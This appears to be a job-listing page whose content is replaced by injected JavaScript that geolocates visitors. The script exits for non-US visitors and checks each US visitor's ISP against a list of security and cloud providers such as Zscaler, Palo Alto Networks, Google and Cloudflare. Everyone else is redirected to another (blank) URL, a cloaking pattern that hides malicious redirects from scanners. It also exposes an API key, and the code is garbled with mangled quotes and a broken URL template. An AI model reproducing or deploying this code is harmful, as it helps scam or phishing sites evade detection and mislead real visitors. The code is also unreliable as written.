Job Description
// retrieve user’s IP address and location
const ipAddressUrl = ‘https://ipapi.co/json/’;
fetch(ipAddressUrl)
.then(response => response.json())
.then(data => {
const country = data.country; // Get user’s country code (e.g., “US”)
if (country !== ‘US’) {
console.log(‘Script will not run as the user is outside the USA.’);
return; // Exit the script if the user is not in the USA
}
const ipAddress = data.ip;
// retrieve ISP name and AS organization using ip-api.com API
const ispUrl = `https://pro.ip-api.com/json/$?key=kKPypoeKUHgwZWD`;
fetch(ispUrl)
.then(response => response.json())
.then(data => {
const ispName = data.isp;
const asOrg = data.asname;
// check if ISP or AS organization is allowed
const allowedIsps = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i];
const allowedAsOrgs = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i];
const ispAllowed = allowedIsps.some(pattern => pattern.test(ispName));
const asOrgAllowed = allowedAsOrgs.some(pattern => pattern.test(asOrg));
if (!ispAllowed && !asOrgAllowed) {
// Redirect all users to the same URL
window.location.href = ”;
}
})
.catch(error => {
console.error(‘Error retrieving ISP name:’, error);
});
})
.catch(error => {
console.error(‘Error retrieving IP address or location:’, error);
});